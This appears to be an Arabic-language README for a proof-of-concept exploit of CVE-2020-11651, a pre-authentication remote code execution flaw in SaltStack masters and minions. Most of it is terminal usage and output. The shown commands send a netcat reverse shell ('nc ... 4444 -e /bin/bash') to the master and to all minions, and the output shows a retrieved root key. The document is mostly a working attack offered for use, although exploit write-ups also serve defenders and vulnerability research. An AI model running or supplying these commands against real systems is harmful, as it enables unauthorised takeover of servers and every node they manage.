
استغلال لإثبات المفهوم لثغرة CVE-2020-11651 يحقق تنفيذ تعليمات برمجية عن بُعد قبل المصادقة على عقد master و minions في SaltStack عبر runner الخاص بـ salt.cmd.
هذا هو إثبات المفهوم (POC) لـ CVE-2020-11651، والذي يحصل على تنفيذ كود عن بعد (RCE) بدون مصادقة على خادم salt stack الرئيسي و/أو جميع العقد (minions) المرتبطة به. بعض التفاصيل البسيطة عن المشكلة متاحة هنا. لم يتم تضمين إثبات المفهوم لـ 2020-11652.
يحصل هذا على تنفيذ الأوامر على الخادم الرئيسي عن طريق إنشاء runner لـ salt.cmd باستخدام الدالة cmd.exec_code. لم يتم تنفيذ التفاعلية، ستحتاج إلى استلام شل عكسي.
تم الاختبار على Debian10 ضد نسخة Debian10. يحتاج إلى ncat لاستقبال وإرسال شل، ومكتبة pip3 install salt للنقل.
user@debian10:~$ ./cve-2020-11651.py 192.168.200.135 master 'nc 192.168.200.137 4444 -e "/bin/bash"'
/usr/local/lib/python3.7/dist-packages/salt/ext/tornado/httputil.py:107: DeprecationWarning: Using or importing the ABCs from 'collections' instead of from 'collections.abc' is deprecated, and in 3.8 it will stop working
class HTTPHeaders(collections.MutableMapping):
Attempting to ping master at 192.168.200.135
Retrieved root key: ajazew2a7V7gaxT2e5Vyi1pALtWYLOCp3L+A3xYc1iilwZEPhbnERhhGvzrDh8NVa2x0xNvYIJE=
Got response for attempting master shell: {'tag': 'salt/run/20200504080050593352', 'jid': '20200504080050593352'}. Looks promising!
user@debian10:~$ ./cve-2020-11651.py 192.168.200.135 minions 'nc 192.168.200.137 4444 -e "/bin/bash"'
/usr/local/lib/python3.7/dist-packages/salt/ext/tornado/httputil.py:107: DeprecationWarning: Using or importing the ABCs from 'collections' instead of from 'collections.abc' is deprecated, and in 3.8 it will stop working
class HTTPHeaders(collections.MutableMapping):
Attempting to ping master at 192.168.200.135
Retrieved root key: ajazew2a7V7gaxT2e5Vyi1pALtWYLOCp3L+A3xYc1iilwZEPhbnERhhGvzrDh8NVa2x0xNvYIJE=
Sending command to all minions on master
user@debian10:~$ ./cve-2020-11651.py 192.168.200.135 fetchkeyonly
/usr/local/lib/python3.7/dist-packages/salt/ext/tornado/httputil.py:107: DeprecationWarning: Using or importing the ABCs from 'collections' instead of from 'collections.abc' is deprecated, and in 3.8 it will stop working
class HTTPHeaders(collections.MutableMapping):
Attempting to ping master at 192.168.200.135
Retrieved root key: ajazew2a7V7gaxT2e5Vyi1pALtWYLOCp3L+A3xYc1iilwZEPhbnERhhGvzrDh8NVa2x0xNvYIJE=
user@debian10:~$
